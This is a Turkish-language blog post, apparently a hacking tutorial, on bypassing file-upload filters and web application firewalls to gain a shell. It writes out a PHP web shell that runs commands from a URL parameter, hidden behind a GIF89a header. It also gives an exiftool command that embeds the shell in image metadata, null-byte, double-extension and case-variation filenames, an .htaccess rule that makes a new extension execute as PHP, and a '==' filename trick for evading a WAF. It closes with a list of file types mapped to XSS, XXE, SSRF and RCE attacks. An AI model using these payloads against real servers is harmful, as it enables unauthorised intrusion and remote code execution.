File Upload WAF Bypass (Dosya Yüklemede Web Application Firewall'ı Atla)

0
Rahmân ve Rahîm olan ALLAH'ın adıyla

 Dosya Yükleme Filtrelemeyi Atla

 

 
Kabuk kazanmanın yaygın yollarından biri aslında bir güvenlik açığı değil, bir özelliktir! Çoğu zaman dosyaları web sunucusuna yüklemek mümkündür. Bu, yalnızca bir ters kabuk yükleyerek kötüye kullanılabilir. Kabuk yükleme yeteneği, genellikle kötü amaçlı olabilecek dosyaları filtrelemeye çalışan filtreler tarafından engellenir. Yani atlamamız gereken şey bu.
 
 

 

 1-

  • Yeniden adlandır

Kabuğumuzu yeniden adlandırabilir ve shell.php.jpg olarak yükleyebiliriz. Filtreyi geçti ve dosya php olarak yürütüldü.

php phtml, .php, .php3, .php4, .php5, and .inc

asp asp, .aspx

perl .pl, .pm, .cgi, .lib

jsp .jsp, .jspx, .jsw, .jsv, and .jspf

Coldfusion .cfm, .cfml, .cfc, .dbm

 

 

 

 

2-

  • GIF89a;

İçeriği kontrol ederlerse. Temel olarak "GIF89a;" metnini eklemeniz yeterlidir. kabuk kodundan önce. Yani şöyle bir şeye benzeyecek:
 
GIF89a;
<?
system($_GET['cmd']);//or you can insert your complete shell code
?>
 

 

 

 

3-

  • Resimde

 

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' murphyy.jpg

 

Exiftool, exif verilerini görüntülemek ve işlemek için harika bir araçtır. Sonra dosyayı yeniden adlandırmak zorunda kaldım
 

mv murphyy.jpg murphyy.php.jpg

4-

  • NULLBYTE

file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png

 

5-

  • İçerik/tür Doğrulamayı Atlama

1. İstek Modifikasyonunu kullanarak İçerik Türünü değiştirin. 
2. GIF89a kullanarak Sunucu tarafını kontrol edin; başlık 
3. Yükünüzü Görüntü Meta Verileri/Yorumlarına enjekte edin



  • İstek Modifikasyonunu kullanarak İçerik Türünü değiştirin.
 
Geliştirici çoğu zaman "content-Type" isteğine güvenir, yükleme komut dosyası içerik türünü kontrol eder ve Görüntü türü ise yalnızca dosya yüklenir. Buradaki sorun yine içerik-Türü değişkeninin sunucuya ulaşmadan değiştirilebilmesidir. Resimde de görebileceğiniz gibi içerik türü "application/octet-stream", onu "image/gif" olarak değiştirin ve işinize yarayacağını umuyoruz.

 
  • GIF89a kullanarak Fool Sunucu tarafı kontrolü; başlık
 
 Bazen sunucu tarafı içerik imzası denetimi "GIF89a" kullanılarak aldatılabilir; kabuğunuzdaki başlık. İşte bir örnek:
GIF89a;
<?
system($_GET['cmd']);//veya tam shell kodunuzu ekleyebilirsiniz
?>

 

 

  • Yükünüzü Görüntü Meta Verilerine/Yorumlara enjekte edin

 

Resim dosyamızla yapabileceğimiz bir çok hack var, bunlardan bazıları yükü metadata başlığına exiftools kullanarak enjekte ediyor ya da "edjpgcom.exe" adlı bir araç kullanabilirsiniz. Resminize yorum eklemek için "edjpgcom.exe resimdosyadin.jpg" komut satırını kullanın.
 
 
 

6-

  • Uzantı Kara Listesini Atlama
 
Bazı zamanlarda geliştiriciler, kabuk yüklemeye karşı kara liste yaklaşımını kullanırlar, Kara liste uygulamasıyla ilgili sorun her zaman aynıdır, bu da her zaman bir şeyi engellemeyi unutursunuz veya yeni bir baypas güvenliğinizi bozabilir. Burada da aynı, diyelim ki bir geliştirici php dosyalarının sunucu üzerinden yüklenmesini filtreliyorsa. Bunu atlatmanın birkaç yolu var.
 
  • 1. Diğer yürütülebilir uzantıları deneyin. 
  • 2. Büyük/Küçük Harfe Duyarlı Filtreyi Atlayın. 
  • 3. Aptalca Regex filtre baypası. 
  • 4. .htaccess dosyasını kullanarak yürütülebilir dosyaya kabuk ekleyin.
  • Diğer yürütülebilir uzantıları deneyin.


İlk olarak, geliştiricinin unutmuş olabileceği birden fazla php uzantımız var, böylece dosyamızı yeniden adlandırabiliriz.
 
shell.php1
shell.php2
shell.php2
shell.php4
shell.php5
shell.phtml
 
Hatta bir .pl veya .cgi uzantısıyla Perl kabuğunu çalıştırmayı deneyebiliriz.
 
 
 

7-

  • Büyük/Küçük Harfe Duyarlı Filtreyi Atla.
 
 
Hepsi güzel bir şekilde kara listeye alınmışsa, filtrenin büyük/küçük harfe duyarlı olup olmadığını görmek için büyük/küçük harf değiştirmeyi deneyebiliriz, basit bir deyişle şunu deneyin:
 
shell.PhP
shell.Php1
shell.PhP2
shell.pHP2
shell.pHp4
shell.PHp5
shell.PhtMl
 
 

8-

  • Aptalca Regex filtre baypası.


Çok az kez normal ifade kullanarak bir dosya genişletme denetimiyle karşılaşabilirsiniz, bu tür durumlar normal ifade hatasına neden olabilir. Burada programcı, dosya adında yalnızca ".jpg" varlığını kontrol eden kötü bir normal ifade yapmış olabilir, bu nedenle bu tür durumlar, shell.jpg.php ve benzeri gibi çift uzantı kullanılarak atlanabilir.
 
 

9-

  • .htaccess dosyasını kullanarak yürütülebilir dosyaya kabuk ekleyin.
 
Ama eğer şanssızsak ve yukarıdaki tüm uzantılar çalışmıyorsa, o zaman .htaccess dosyasını kullanarak web sitesi üzerinden bir kabuk elde etmek için hala bir şansımız var.
 
 
Bir htaccess dosyası, Apache sunucusundaki yapılandırma dosyasıdır. Ayarlarından birini kullanarak dosya türü davranışını değiştirebiliriz. Şimdi kara listeye alınmamış bir dosya uzantısı seçelim, bu gibi durumlarda favorilerimden biri .shell uzantısıdır. İşte bir .htaccess dosyasında başa çıkmanız ve ardından klasöre yüklemeniz ve ardından php kabuğunuzu shell.shell ve boom adıyla yüklemeniz gereken bir htaccess yapılandırması! yürütecek.
 

AddType application/x-httpd-php .shell
 

 

10-

  • Uzantı Beyaz Listesini Atlama
 
Bazı durumlarda geliştiriciler uzantı beyaz listesini kullanmışlardır, bu tür güvenliği atlamak genellikle web sunucusu veya Dil tabanlı atlamalardır. Bu, geliştiricinin bir resim yükleme işlevi olduğunu söyleyelim, bu nedenle yalnızca jpg,jpeg,gif,png,bmp vb. gibi bazı beyaz listeli uzantılar dışında başka bir uzantıya izin vermediği bir durumdur. Aşağıdaki hileleri deneyebiliriz:
 
  • Çift Uzantıyı Kullanarak Atlama
 
Bu gibi durumlarda shell.php.jpg, shell.php:.jpg, shell.php;.jpg kullanabiliriz, bazen kabuk yürütmeye neden olabilir, ancak genellikle bir web sunucusu veya işletim sistemi tabanlı bypass. Dolayısıyla bu gibi durumlarda programcıyı gerçekten suçlayamayız. Ancak dosya adlarını değiştirmeden bırakmak kötü bir programlama uygulamasıdır.
 
 
 

11-

Dosya yüklemeden yararlanma sırasında WAF atlama🔥
/?file=rce.php    <-- Engellendi
/?file=rce.php.jpg <-- Engellendi
/?file=rce.php5 <-- Engellendi
/?file===rce.php  <-- atlandı 200 OK
 
dosya adını ==dosyaadi.php şeklinde kaydetme iki tane eşittir işareti ile
 
 
 
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Open redirect
PNG / JPEG: Pixel flood attack (DoS)
ZIP: RCE via LFI / DoS
PDF / PPTX: SSRF / BLIND XXE         

Yorum Gönder

0 Yorumlar

Yorum yaptığın için teşekkürler

Yorum Gönder (0)

#buttons=(Accept !) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Accept !
To Top